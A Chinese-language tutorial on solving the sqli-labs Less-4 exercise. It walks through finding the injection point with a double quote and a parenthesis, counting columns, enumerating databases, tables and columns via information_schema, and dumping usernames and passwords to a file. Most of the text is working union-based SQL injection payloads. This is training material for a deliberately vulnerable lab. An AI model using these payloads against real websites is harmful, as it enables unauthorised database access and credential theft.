1、试探
输入 ?id=1'
页面没有反应,依然显示正常;你会发现在id后面不论输什么值,页面都没有反应,能正常显示。
为什么呢?
想想Less -3 ,是不是想起了什么?
没错,你输入的参数值被当做字符串接收了,没有起到应有的效果,需要去闭合。既然单引号不行,那就试试双引号。
?id=1"
,成功了,程序返回报错信息了,这里就是需要用双引号来闭合。
分析一下错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
从中就能猜测,想必源码一定长成这样:
SELECT **** FROM *** WHERE id=("$id") LIMIT 0,1
这里就需要闭合双引号和括号。
构造:?id=1") --+
,页面返回正常。试着去注入吧。
2、判断字段数
?id=1") union select 1,2,3 --+
3、暴库
payload:
?id=-1") union select 1,group_concat(schema_name),3
from information_schema.schemata --+
4、表名
?id=-1") union select 1,group_concat(table_name),3
from information_schema.tables
where table_schema='security' --+
5、字段名
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns
where table_name='users' and table_schema='security' --+
6、拖库
?id=-1") union select 1,username,password from users
into outfile 'e:/users.txt'%23